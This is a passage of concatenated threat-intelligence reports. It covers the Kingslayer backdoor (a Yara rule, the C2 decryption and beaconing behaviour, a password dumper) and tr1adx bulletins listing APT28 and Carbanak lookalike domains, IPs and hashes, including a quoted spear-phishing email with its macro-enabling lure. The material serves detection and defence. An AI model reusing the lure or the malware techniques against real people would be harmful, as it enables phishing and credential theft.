facilitate a rapid enterprise survey for Kingslayer artifacts. RSA Research s Yara signature will detect artifacts from the stolen code-signing key used to sign DLLs and EXEs in the Kingslayer backdoor. While this code-signing key was also used to sign some limited number of legitimate software versions, any hits with this signature warrants investigation. Systems and Windows networks found with any of the Indicators of Compromise (IOCs) in the Kingslayer IOC list, should be analyzed for compromise. Enterprise investigation should focus on identifying any ongoing C2 channels and activity, and an assessment of business risk/loss should a breach be indicated. CONCLUSION RSA Research observed sustained activity from an advanced threat actor group over 18+ months, tied to campaigns attributed to Codoso. There was an evolutionary deployment of tools characterized by very low (if any) coverage by antivirus vendors. In the course of our research and disruption of this malicious activity, RSA was able to uncover an advanced strategic targeting campaign involving a software supply chain attack aimed at sysadmins of large enterprises, dubbed Kingslayer. While the entire target set of Kingslayer is unknown, RSA Research expects the information contained in this report to be useful for network defenders in determining if they have been Kingslayer subjects of compromise. This may not be the last software supply chain attack from these or related actors. We believe Kingslayer, with its inherent enterprise breach efficacy and long interlude before discovery, could serve as a template for future strategic network compromises. We illustrated that it takes keen visibility and awareness, and the right tools, to discover advanced threat activity like Kingslayer. Finally, organizations need to have the ability to detect and respond to the next supply chain attack, before it has an impact on their business or mission. ACKNOWLEDGEMENTS RSA Research would like to thank Chuck Helstein, Darien Huss of ProofPoint, Luis Garcia of luisangelgarcia.com, MS-ISAC13 and CCIRC14. https://msisac.cisecurity.org https://www.publicsafety.gc.ca/cnt/ntnl-scrt/cbr-scrt/ccirc-ccric-eng.aspx ANNEX 1: KINGSLAYER INDICATORS OF COMPROMISE (IOCS) Download available on rsa.com 15 Yara Signature: rule Kingslayer_codekey meta: author = RSA Research date = 03 February 2017 hash2 = f97a2744a4964044c60ac241f92e05d7 hash3 = 76ab4a360b59fe99be1ba7b9488b5188 hash4 = 1b57396c834d2eb364d28eb0eb28d8e4 strings: $val0 = { 31 33 31 31 30 34 31 39 33 39 31 39 5A 17 0D 31 35 31 31 30 34 31 39 33 39 31 39 5A } $ven0 = { 41 6C 74 61 69 72 20 54 65 63 68 6E 6F 6C 6F 67 69 65 73 } uint16(0) == 0x5A4D and $val0 and $ven0 APPENDIX A: EVENT LOG ANALYZER APPLICATION SERVICE EXECUTABLE ANALYSIS Table 2 shows the basic properties of the Kingslayer backdoored service executable Table 2 Malware file properties Figure 8 shows the valid Authenticode digital signature of the service executable Figure 8 Valid Authenticode signature The Trojan functionality is initiated when the [Redacted]Service is started. The [Redacted]ServiceMailCheck class is instantiated as an object and the InitCheck() Method is called. Figure 9 shows the code responsible for the InitCheck(). Figure 9 InitCheck() method The [Redacted]ServiceMailCheck class sets a mailID string to a base64 encoded value. The InitCheck() Method then calls the public Method Run in a new thread (Figure 10). Figure 10 Encoded string The public Method Run checks the time and uses another encrypted string to set localization. This decryption routine, detailed later, decrypts the encrypted string to Tokyo Standard Time and will only run on Saturday, Tuesday, Thursday and Friday, in a nine-hour window prior to midnight. The malware is hard coded to sleep 20 minutes (2 different 10 minute windows) between beacons (Figure 11). Figure 11 Beacon timing and interval The malware will decrypt the previously set MailID variable Ex9TAVIbXghSXAAFSVBLRE8QWU8QVQ8fQQINT0FJSklLEkQeDFEfQA== ). Figure 12 depicts the decryption routine. Figure 12 Decryption routine The routine will initially base64 decode the MailID variable, and then hash the decoded data with the MD5 hashing algorithm. It will then set a seed byte based on the first byte of the decoded text. Each byte of the text is XOR decrypted against its respective byte in the MD5 sum, and then further XOR decrypted by the seed byte. The python script (Table 3) decodes encoded variables. Table 3 Python String decrypter to decode Kingslayer s encoded variables This script will output the decoded C2 URL. The encoded data from this sample will decode to http://www.oraclesoft[.]net/mailcheck.png (Figure 13). This URL matched the traffic that was observed in the beaconing from Iota to the RSA sink hole. Figure 13 Beacon matches decrypted URL The LoadImage() Method creates a new thread and calls the ProcessThread() Method, passing the URL and password (Figure 14). Figure 14 New thread for beacon The ProcessThread() Method connects to the URL and builds the HTTP request as observed in network traffic. This function then checks to see if the gzip HTTP response header is present and decompresses the payload. It then sends the byte string to an unpacking function which writes the file to disk. This activity is similar to that observed by a ProofPoint analyst in a post on Bergard and Codoso. The ProofPoint analyst observed the Bergard infection to receive instructions from its C2 to retrieve a PNG file (Fig. 15) containing an encoded PlugX payload (md5: 5c36e8d5beee7fbc0377db59071b9980)16. We do not know if the K2 Trojan decoded from the mailcheck.png image file discussed in the main body of this research paper was PlugX, or some other Trojan/RAT. https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks Figure 15 Unpacking method employed to load The malware then checks the downloaded and unpacked data to verify the first two bytes are decimal 77 90 (0x4D5A). The malware performs these checks to ensure the data is a valid executable binary (Figure 16). Figure 16 K2 Trojan magic check CloudClimb then calls the RunByML() method which checks if the file is a valid executable and runs it, then writes the status to the console (Figure 17). Because this software is running as a service, it is running in Windows Session 0; therefore the console is hidden from the user. Figure 17 Additional payload execution There exists an alternate path and URL to this DLL loading functionality. In [Redacted]Service.AnalyzeLogs.Execute() email sending functionality there is an unencrypted URL and password (Figure 18). Figure 18 Alternate URL in Kingslayer backdoor The registration date of the domain (Table 4) contained in this URL coincides with the timeframe of the known compromise of Alpha s source code and websites in late March, 2015. Table 4 2015 timekard.com registration details Beaconing to this domain has not been observed and RSA Research believes this code will only execute if the application is configured to send email reports on logs. In mid-2016 the domain registration for timekard[.]com expired and was registered by a legitimate entity having nothing to do with the malicious activity described in this investigation. APPENDIX B: SELECT FORENSIC FINDINGS FROM AN ENTERPRISE ADMIN S MACHINE INFECTED WITH KINGSLAYER AND THE K2 SECONDARY MALWARE The machine investigated was used by Iota s principal Windows system administrator, and had the backdoored event log analysis service installed on 22 April 2015 at 19:07:18 UTC (Table 5), which was in the known subversion window of Alpha s websites. Table 5 Event log analysis application service installation The SYSTEM hive contains the Application Compatibility Cache entries. These entries track executable files for compatibility purposes between Windows upgrades. Several suspicious entries (Table 6) were discovered during the host triage. It is important to note that the timestamps on these entries are the $SI MTIME of the file and are not reliable indicators. Table 6 Suspicious ShimCache entries ANALYSIS OF BP.EXE In this same directory an executable was discovered that will find, decrypt and display passwords saved in Chrome and Firefox (Table 7). This file had an $FN CTIME of 17 August 2015 12:26:20.292 and did not appear to be executed as it was not in the shimcache. The file was owned by the Windows security identifier (SID) S-1-5-32-544, the SYSTEM account. This matches with the owner of the running backdoored event log analysis service, which also runs as SYSTEM. Table 7 Password dumper The password dumper starts by gathering system information about the current logged-on user in order to discover the individual user paths such as C:\ Users\Usera\AppData. It then begins reading the SQLlite database files and decrypting saved passwords. Figure 19 SQLite database file path The sample has the SQLite libraries statically linked at compile time, which accounts for the large size. It then leverages these functions to query the SQLite database to retrieve the encrypted stored passwords. Figure 20 Selecting encrypted passwords Sub_401BA9 leads to a series of calls to get the logged on user, impersonate that user in order to open the Windows key store to retrieve the encryption keys and, finally, decrypts the user s stored passwords. Figure 21 Stored password decryption If the sample was successful, it will print the decrypted URL, Username and Password to the terminal. Figure 22 Terminal output of password dumper After the sample has finished with Chrome passwords it moves on in a similar fashion to stored Firefox passwords and prints them to the terminal. Figure 23 Firefox output [tr1adx]: Intel tr1adx.net/intel/TIB-00003.html tr1adx Intelligence Bulletin (TIB) 00003: Bear Spotting Vol. 1: Russian Nation State Targeting of Government and Military Interests [Published: January 9, 2017] [Last Updated: January 15, 2017] Summary The tr1adx team performs on-going research into Threat Actors, irrespective of their motivation, provenance, or targets. tr1adx Intelligence Bulletin #00003 shares intel on Russian Nation State Cyber Activity targeting Government and Military interests around the world. Please note this is an active bulletin, meaning we will occassionally add intel and information to this bulletin as we uncover new campaigns, targets or actors which meet the criteria. tr1adx's research was able to identify targets in various countries and/or regions, including: Turkey Japan Denmark United States Venezuela India NATO Affiliated Targets United Nations Analysis TTP's associated with Russian Nation State Threat Actors (Civil and Military Intelligence/GRU/APT28/APT29) allow us to track these Threat Actors' activities with a high/moderate degree of confidence, and follow their trail of breadcrumbs through past, present, and future campaigns. While, for operational security reasons, we cannot go into detail on our techniques, practices, and sources for intelligence collection and analysis, we can say that the majority of the information published in this bulletin is based on in-depth research leveraging available Open Source Intelligence (OSINT) sources. In a few cases, intel data has been enriched by, derived from, and collected through other non-OSINT means. Indicators of Compromise Added on 2017-01-15: Domain Creation Date Campaign Status Targeted Org Targeted Country Targeted Domain Analyst Notes (and other fun anecdotes) dpko[.]info 201610-29 Unknown United Nations (UN) Department of Peacekeeping Operations (DPKO) United States un.org UN DPKO website unausanyc[.]com 201512-02 Unknown United Nations Association of New York United States unanyc.org Identified phishing originating from this domain targeting the Venezuelan government (minpal.gob.ve) ausa[.]info 2015- Inactive Association of United ausa.org ESET identified ausa[.]info 201507-19 Inactive Association of the United States Army (AUSA) United States ausa.org ESET identified similar indicator (ausameetings[.]com) in their APT28/Sednit report. mea-gov[.]in 201502-20 Inactive Ministry of External Affairs (MEA) India mea.gov.in mfa-news[.]com 201504-30 Inactive Ministry of Foreign Affairs (MFA) Fake news site defenceinform[.]com 201505-05 Inactive MDefense Related Fake news site middleeastreview[.]com 201504-15 Inactive Middle East Review of International Affairs (MERIA) United States rubincenter.org middleeasterview[.]com 201504-15 Inactive Middle East Review of International Affairs (MERIA) United States rubincenter.org foreign-review[.]com 201504-14 Inactive Foreign Affairs Fake news site Added on 2017-01-09: Domain Creation Date Campaign Status Targeted Org Targeted Country Targeted Domain Analyst Notes (and other fun anecdotes) afceaint[.]org 201611-02 Inactive Armed Forces Communications and Electronics Association (AFCEA) United States afcea.org Identified 2 related indicators, one of which ties in to another campaign: ns1[.]afceaint[.]org (216.155.143.28) ns2[.]afceaint[.]org (216.155.143.27) af-army[.]us 201610-17 Active Army / Air Force United States army.mil / af.mil The af-army[.]us domain was seen resolving to 167.114.35.70, which is listed as one of the IP listed as one of the IP addresses in the GRIZZLY STEPPE report. webmailmil[.]dk (*) 201503-25 Inactive Defence Command Denmark webmail.mil.dk Domain was hosted on 216.155.143.27, also seen in AFCEA campaign. Seriously? We know it's been 2 years and the Denmark Defense campaign may not have been publicized but come on guys... #BadOpsec! natonevvs[.]org 201610-05 Unknown North Atlantic Treaty Organization (NATO) Affiliates jimin-jp[.]biz 201612-27 Active Liberal Democratic Party of Japan Japan jimin.jp Per our Japanese Gov't sources, domain has been observed in targeted malware. jica-gojp[.]biz 201612-27 Active Japan International Cooperation Agency Japan jica.go.jp Per our Japanese Gov't sources, domain has been observed in targeted malware. mofa-gojp[.]com 201612-27 Active Ministry of Foreign Affairs Japan mofa.go.jp Per our Japanese Gov't sources, domain has been observed in targeted malware. turkeymia[.]com 201612-20 Active Ministry of Interior Ankara (MIA) Turkey mia.gov.tr Spoofed domain points to legitimate MIA domain: icisleri.gov.tr turkeyicisleri[.]com 201612-20 Active Ministry of Interior Ankara (MIA) Turkey icisleri.gov.tr Spoofed domain points to legitimate MIA domain: icisleri.gov.tr (*) Legitimate organization appears to have claimed control over the spoofed/mimicked domain. Indicators of Compromise (IOCs) [Downloadable Files]: TIB-00003 Domain IOCs [TXT] If a log search for any of these Indicators of Compromise returns positive hits, we recommend you initiate appropriate cyber investigative processes immediately and engage Law Enforcement where appropriate. [tr1adx]: Intel tr1adx.net/intel/TIB-00002.html tr1adx Intelligence Bulletin (TIB) 00002: The "Digital Plagiarist" Campaign: TelePorting the Carbanak Crew to a New Dimension [January 1, 2017] Summary Over the past few months, the tr1adx team has been tracking a Threat Actor which we codenamed "TelePort Crew". We believe the "TelePort Crew" Threat Actor is operating out of Russia or Eastern Europe with the group's major motivations appearing to be financial in nature through cybercrime and/or corporate espionage. We have dubbed the group's latest campaign "Digital Plagiarist" for its signature practice of mirroring legitimate sites (using Tenmax's TelePort Pro and TelePort Ultra site mirroring software) onto similarly named domains, on which the TelePort Crew would host and serve up malware laden Office documents. The Threat Actor would then craft specific spear phishing emails to direct their targets to visit the malicious web sites and open the malware laden documents. Corerrelation of the TelePort Crew's TTPs and infrastructure leads us to believe the group is closely affiliated with, and may in fact be, the Carbanak Threat Actor. At this time, we are able to disclose that we have seen activity associated with the "Digital Plagiarist" campaign in the following countries: Australia United Kingdom United States Ireland Switzerland Bahamas Focused Industries for the "Digital Plagiarist" campaign include: Hospitality Restaurant Chains Food Production Nutritional Supplements Agriculture / BioTechnology Marketing / Public Relations Manufacturing Logistics Software Development (including Point-of-Sale solutions) Utilities & Electric Government Analysis Activity attributed to the "Digital Plagiarist" campaign first came on tr1adx's radar in the fall of 2016, when the TelePort Crew threat actor was seen registering a number of domain names which raised flags due to the suspicious nature of the domain names, attributes associated with the domain registration, and content served on these domains. Further research indicates that the "Digital Plagiarist" campaign has been active since at least July 2016, and possibly earlier, with very rapid turn around times between the provisioning of attack/C2 infrastructure and execution of the actual attacks. Based on our observations, we believe the TelePort Crew threat actor has performed considerable research on their targets, including mapping out business/customer relationships between the targets as well as understanding other geographic and target "trust" specific attributes often seen in cases of watering hole attacks. Overview of Attack Methodology and TTP's Domain Registration The TelePort Crew would start off by registering domain names, which closely resemble those of legitimate web sites. These web sites would be designed to either mimic the group's intended target, or a third party trusted by the intended target. The majority of these domain registrations appear to use a single registrar, "PDR Ltd. d/b/a PublicDomainRegistry.com", and in some cases the Threat Actor would recycle the same Registrant Information. We also noted a number of specific differentiators when it comes to comparing the Registrant Information and the types of malicious websites that were used. The following table summarizes some of the more interesting domains we have seen the TelePort Crew threat actor register as part of the "Digital Plagiarist" campaign. While some of these domains are used for malware delivery, others are used for email domain spoofing, and C2 communications. A full list of (disclosable) domains suspected to be associated with the TelePort Crew's "Digital Plagiarist" campaign is provided in the Indicators of Compromise section: Domain Creation Date Registrant Registrar Org Mimicked Country Domain Mimicked Industry microfocus-official[.]com 201610-28 Andrey Arseniev PDR Ltd. d/b/a Micro Focus International United Kingdom microfocus.com Software Development perrigointernational[.]com 2016- Andrey PDR Ltd. Perrigo United perrigo.com Healthcare perrigointernational[.]com 201610-28 Andrey Arseniev PDR Ltd. d/b/a Perrigo Company plc United States perrigo.com Healthcare ornuafood[.]com 201610-28 Andrey Arseniev PDR Ltd. d/b/a Ornua Food Ireland ornua.com Food Production esb-energy-int[.]com 201610-27 Dresde Nore PDR Ltd. d/b/a Electricity Supply Board Ireland esb.ie Utilities & Electric fda-gov[.]com 201612-09 Smolin Sergei PDR Ltd. d/b/a US Food and Drug Administration (FDA) United States fda.gov Government treasurygovernment[.]com 201612-09 Smolin Sergei PDR Ltd. d/b/a Department of the Treasury United States treasury.gov Government bentley-systems-ltd[.]com 201610-27 Dresde Nore PDR Ltd. d/b/a Bentley Systems United States bentley.com Software Development zynga-ltd[.]com 201610-27 Dresde Nore PDR Ltd. d/b/a Zynga United States zynga.com Software Development syngenta-usa[.]com (*) 201610-27 Dresde Nore PDR Ltd. d/b/a Syngenta Switzerland syngenta-us.com Agriculture/BioTech ai0ha[.]com 201611-29 Garry Torp PDR Ltd. d/b/a Aloha, Inc. United States aloha.com Nutritional Supplements iris-woridwide[.]com 201611-29 Garry Torp PDR Ltd. d/b/a iris Worldwide United Kingdom iris-worldwide.com Marketing/Public Relations strideindustrialusa[.]com 201512-21 Andrew Zavok PDR Ltd. d/b/a Stride Industrial Group Ltd United Kingdom strideindustrialgroup.com Manufacturing waldorfs-astoria[.]com 201612-11 Fred Hesl PDR Ltd. d/b/a WaldorfAstoria United States waldorf-astoria.com Hospitality atlantis-bahamas[.]com 201612-11 Fred Hesl PDR Ltd. d/b/a Atlantis Bahamas Bahamas atlantisbahamas.com Hospitality sizzier[.]com 201612-01 Egor Danilkin PDR Ltd. d/b/a Sizzler Family Restaurants United States sizzler.com Restaurant Chain taskretaiitechnology[.]com 201612-01 Egor Danilkin PDR Ltd. d/b/a Task Retail Technology Australia taskretailtechnology.com Software Development dhl-service-au[.]com 201609-27 Remin Vladmiri PDR Ltd. d/b/a DHL Australia Australia dhl.com.au Logistics prsnewwire[.]com 201608-30 Remin Vladmiri PDR Ltd. d/b/a PR Newswire United States prnewswire.com Marketing/Public Relations (*) Legitimate organization reclaimed the mimicked/spoofed domain. Once the malicious domain had been registered, the group would point it to one of the following IP addresses: Domain Mirroring The Threat Actor would then use the TelePort Pro or TelePort Ultra software to mirror the content of the legitimate organization's web site to the newly registered domain. While in the majority of cases the TelePort Pro software would "flawlessly" mirror the web sites, if the web page contains links to external pages which are outside the scope of the TelePort site mirroring configuration, the software will rewrite some of the links in the mirrored HTML files as follows: Traces of TelePort Ultra seen on irisworidwide[.]com domain:
  • Twitter
    • Traces of TelePort Pro seen on prsnewwire[.]com domain: Malware Delivery Malware Delivery We were able to identify and confirm at least two separate instances where above domains were used to serve up malicious Office documents: The malware document "order.docx" is a stage 1 binary which, when opened by the end user, will download a stage 2 binary through the embedded macros in the malicious Office document. TrustWave recently did a great write up entitled "New Carbanak / Anunak Attack Methodology ", which provides additional details regarding the malware used in that campaign, as well as an overview of C2 communications and actor TTPs. Based on correlation of TTP's and infrastructure, we are fairly confident that the TelePort Crew is closely affiliated with, or is in fact the Carbanak Threat Actor. We also believe the "Digital Plagiarist" campaign is associated with, or an evolution of, the campaign described in the recent TrustWave report. Once the domains were properly mirrored and outfitted with malware, the TelePort Crew would craft spearphishing emails to their targets in order to lure them to download and open malicious Office documents hosted on one of the above domains. We have been able to observe at least one reported instance of such a spearphishing email related to the "Digital Plagiarist" campaign. barry_frith@shoneys.com -> "mailto:sizzier_company@yahoo.com" From: barry_frith@shoneys.com Sent: Wednesday, December 14, 2016 10:33 AM To: R_bgt, Briargate 0186 Subject: catering Hello, My name is George Thon and I'm an Project Manager with Sizzier Ltd. We have composed a list of services we require and interested in. Enclosed link contains all catering informatiom - http://www.sizzier.com/docs/order.docx Click on edit anyway at the top of the page and than double click to unlock content Sincerely, George Thon Sizzier Ltd. Campaign and Infrastructure Clean Up At the time of this writing, at least one of the malicious documents is still being served on one of the above listed domains. While all of the above listed domains are still active, only a few are still serving up mirrored content. When we started investigating this threat actor a few months ago, we were able to observe that almost all of the above listed domains were, at one time, serving up mirrored page content. Based on all elements of our research, we believe the TelePort Crew threat actor will remove malicious and non-malicious content once successful execution of the malware on the target has been achieved. At the same time, our analysis leads us to suggest that the TelePort Crew may also delete or rename malicious content when the Threat Actor believes their operation has been compromised. Targeted Industry / Organizations Interrelations As we started investigating the Teleport Crew threat actor and the "Digital Plagiarist" campaign, it became apparent fairly quickly that the group has spent a considerable effort in understanding and mapping out affinities and business/customer relationships between their targets and the domains they would register. A good example of that is the relationship between Sizzler Family Restaurants (TelePort Crew registered "sizzier[.]com") and Task Retail Technology (TelePort Crew registered "taskretaiitechnology[.]com"): Sizzler Family Restaurants is a restaurant chain operating in the United States and abroad (including Australia). Task Retail Technology is a software development company based in Australia, who develop the xchangexec Enterprise Point-of-Sale (POS) software. The Task Retail Technology web site lists Sizzler as one of their customers. Another, yet less obvious example, is that of the "relationship" between Perrigo (TelePort Crew registered "perrigointernational[.]com") and Syngenta (TelePort Crew registered "syngenta-usa[.]com"): Perrigo is a US based Pharmaceutical Company. Syngenta is a Swiss Agribusiness/BioTech firm, with offices in the United States. Based on multiple news reports [1] [2] [3] [4], both firms have seen similar investor profiles and were also both linked to Merger & Acquisition activity over the past year. In a potentially more sinister, and entirely speculative twist, there may be a relationship between TrustWave and iris Worldwide Marketing (TelePort Crew registered "iris-woridwide[.]com"): iris Worldwide is marketing company responsible for marketing of some of the world's biggest brands. TrustWave is a security company who recently published an article regarding the Carbanak / Anunak Threat Actor and their new Attack Methodology. Apparently, iris Worlwide was responsible for a marketing campaign around TrustWave's Global Security Report. Attribution The tr1adx team initially started tracking this Threat Actor under the codename "TelePort Crew" as a result of some of their TTP's. As we were delving deeper into the group's activities, we were seeing increasing overlap with TTP's and infrastructure associated with the Carbanak / Anunak threat actor, which was confirmed as we compared notes with the information in the TrustWave article, entitled "New Carbanak / Anunak Attack Methodology ", published in November 2016. Several elements strongly suggest TelePort Crew and Carbanak/Anunak may be one and the same threat actor: tr1adx's investigation, as well as the TrustWave investigation, point to a single IP address where the registered domains were hosted (192.99.14.211) tr1adx's investigation revealed that two domains we had been tracking (dhl-service-au[.]com and prsnewwire[.]com) were registered by a Registrant Name purporting to be "Remin Vladmiri". The same individual also registered "park-travels[.]com", which has been associated with the Carbanak/Anunak threat actor. The malware used in the "Digital Plagiarist" campaign appears to closely resemble that attributed to the Carbanak/Anunak threat actor, in terms of malware delivery, malware URL path, and behavior. Disclaimer The tr1adx team believes it is important to note that while we have seen this threat actor register domains similar in nature to domains belonging to legitimate organizations, we are in no way suggesting that these legitimate organizations or its customers were a direct target for the TelePort Crew threat actor. We do believe the group has leveraged the reputation and legitimacy of these organizations to give more credit to the "Digital Plagiarist" campaign, in turn potentially yielding a higher rate of success for compromising the group's victims. Indicators of Compromise Indicators of Compromise (IOCs): Domains (25+) - Summary Table microfocus-official[.]com iris-woridwide[.]com google3-ssl[.]com perrigointernational[.]com strideindustrialusa[.]com google4-ssl[.]com ornuafood[.]com waldorfs-astoria[.]com ssl-googles4[.]com esb-energy-int[.]com atlantis-bahamas[.]com google2-ssl[.]com fda-gov[.]com sizzier[.]com google5-ssl[.]com treasury-government[.]com taskretaiitechnology[.]com ssl-googlesr5[.]com bentley-systems-ltd[.]com dhl-service-au[.]com bols-googls[.]com zynga-ltd[.]com prsnewwire[.]com syngenta-usa[.]com google-ssls[.]com ai0ha[.]com google-stel[.]com Indicators of Compromise (IOCs): IP Addresses - Summary Table 192.99.14.211 31.41.41.41 144.76.61.231 Indicators of Compromise (IOCs): File Hashes - Summary Table order.docx MD5: 950afc52444e3b23a4923ab07c1e7d87 SHA1: 1827a7daa98c127af11318eebe23ec367f9146c9 order.docx MD5: ae8404ad422e92b1be7561c418c35fb7 SHA1: 400f02249ba29a19ad261373e6ff3488646e95fb Indicators of Compromise (IOCs) [Downloadable Files]: If a log search for any of these Indicators of Compromise returns positive hits, we recommend you initiate appropriate cyber investigative processes immediately and engage Law Enforcement where appropriate. [tr1adx]: Intel tr1adx.net/intel/TIB-00004.html tr1adx Intelligence Bulletin (TIB) 00004: A Pretty Dope Story About Bears: Early Indicators of Continued World Anti-Doping Agency (WADA) Targeting [Published: January 14, 2017] Summary The tr1adx team identified what we believe to be a new campaign, which we assess to be attributed to the Russian Nation State Threat Actor APT28 (a.k.a. Fancy Bear), yet again targeting the World Anti-Doping Agency (WADA) . In September 2016, WADA confirmed they were the victim of a successful breach, which occurred over the summer of 2016, and purportedly attributed to APT28, as was reported in WADA's press release on the attack. For those interested, ThreatConnect published an informative write up on this breach, entitled "Russian Cyber Operations On Steroids", detailing the APT28 campaign targeting WADA. Analysis On January 14, 2017, the tr1adx team observed what we believe to be early stages of a new campaign targeting the World AntiDoping Agency (WADA) or affiliates. A Threat Actor, following similar TTP's to those we have seen Russian Nation State Threat Actor APT28 use, has registered two domains which we assess may be used in further cyber attacks against the WADA or its affiliates. Additionally, in a move similar to TTP's described in ThreatConnect's "Russian Cyber Operations On Steroids" report, we believe the Threat Actor may be preparing to launch, or has already launched a phishing campaign against their targets. Indicators of Compromise Added on 2017-01-14: Domain Creation Date Campaign Status Targeted Targeted Country Targeted Domain Analyst Notes (and other fun anecdotes) worlddopingagency[.]com 201701-14 Active World AntiDoping Agency (WADA) Canada wadaama.org Identified 1 related indicator: 201701-14 Active World AntiDoping Agency (WADA) Canada wadaama.org Identified 1 related indicator: dopingagency[.]com mail[.]worlddopingagency[.]com (40.112.145.124) mail[.]dopingagency[.]com (40.112.145.124) Indicators of Compromise (IOCs) [Downloadable Files]: TIB-00004 Domain IOCs [TXT] If a log search for any of these Indicators of Compromise returns positive hits, we recommend you initiate appropriate cyber investigative processes immediately and engage Law Enforcement where appropriate. Recommendations Evidence suggests this campaign may be in the early execution phase. As such, a number of preventative and detective controls can be instrumented to deter this Threat Actor from achieiving their mission: Block traffic to and from any of the above listed domains and IP addresses on proxies and firewalls. Block emails originating from or going to aforementioned domains (worlddopingagency[.]com and dopingagency[.]com). Search through SIEM/Log Analysis tools for traces of connections to and from these domains or IP addresses, as well as proactively create alerting rules in SIEM or IDS/IPS. Recommendation for WADA: Get these domains taken down ASAP.